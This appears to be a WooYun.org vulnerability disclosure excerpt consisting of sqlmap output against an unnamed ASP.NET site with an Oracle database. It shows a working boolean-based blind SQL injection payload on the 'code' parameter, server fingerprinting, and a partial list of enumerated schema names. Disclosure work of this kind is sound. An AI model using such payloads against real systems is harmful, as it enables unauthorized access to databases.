WooYun.org

sqlmap identified the following injection points with a total of 90 HTTP(s) requests:
---
Place: GET
Parameter: code
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: code=ACTOPV130302I1600' AND 7060=7060 AND 'fRhn'='fRhn&type=4
---
[INFO] testing MySQL
[WARNING] the back-end DBMS is not MySQL
[INFO] testing Oracle
[INFO] confirming Oracle
[INFO] the back-end DBMS is Oracle
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Oracle
[WARNING] schema names are going to be used on Oracle for enumeration
 as the counterpart to database names on other DBMSes
[INFO] fetching database (schema) names
[INFO] fetching number of databases
[WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[INFO] retrieved: 26
[INFO] retrieved: APEX_030200
[INFO] retrieved: APP
[INFO] retrieved: APPQOSSYS
[INFO] retrieved: CTXSYS
[INFO] retrieved: DBSNMP
[INFO] retrieved: DCRM
[INFO] retrieved: EXFSYS
[INFO] retrieved: FLOWS_030000
[INFO] retrieved: FLOWS_FILES
[INFO] retrieved: MDSYS
[INFO] retrieved: OLAPSYS